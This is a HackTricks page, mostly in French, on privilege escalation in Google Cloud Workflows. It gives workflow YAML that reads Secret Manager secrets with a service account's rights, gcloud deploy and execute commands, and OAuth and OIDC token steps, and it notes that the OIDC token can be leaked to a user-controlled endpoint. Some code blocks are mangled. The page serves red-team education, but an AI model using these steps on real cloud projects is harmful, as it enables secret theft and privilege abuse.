GCP - Workflows Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Workflows
Basic Information:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
Ă ma connaissance, il nâest pas possible dâobtenir un shell avec accĂšs Ă lâendpoint metadata contenant les identifiants du SA attachĂ© Ă un Workflow. Cependant, il est possible dâabuser des permissions du SA en ajoutant les actions Ă effectuer Ă lâintĂ©rieur du Workflow.
Il est possible de trouver la documentation des connecteurs. Par exemple, ceci est la page of the Secretmanager connector. Dans la barre latérale, on peut trouver plusieurs autres connecteurs.
And here you can find an example of a connector that prints a secret:
Workflow YAML configuration to access secrets
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Mise Ă jour depuis le CLIÂ :
Déployer et exécuter des workflows depuis le CLI
```bash gcloud workflows deploySi vous nâavez pas dâaccĂšs web il est possible de dĂ©clencher et de voir lâexĂ©cution dâun Workflow avec:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Vous pouvez également vérifier la sortie des exécutions précédentes pour chercher des informations sensibles
Notez que mĂȘme si vous obtenez une erreur comme PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... parce que vous nâavez pas cette permission, le workflow a bien Ă©tĂ© gĂ©nĂ©rĂ©.
Leak OIDC token (and OAuth?)
According to the docs itâs possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.
Caution
Par consĂ©quent, il est possible de leak le OIDC token en indiquant un endpoint HTTP contrĂŽlĂ© par lâutilisateur, mais pour leak le OAuth token vous auriez besoin dâun contournement de cette protection. Cependant, vous pouvez toujours contacter nâimporte quelle GCP api pour effectuer des actions au nom du SA en utilisant soit des connectors soit des requĂȘtes HTTP avec le OAuth token.
Oauth
Workflow HTTP request with OAuth token
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```RequĂȘte HTTP de Workflow avec jeton OIDC
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Avec cette permission, au lieu de workflows.workflows.create, il est possible de mettre Ă jour un workflow dĂ©jĂ existant et dâeffectuer les mĂȘmes attaques.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

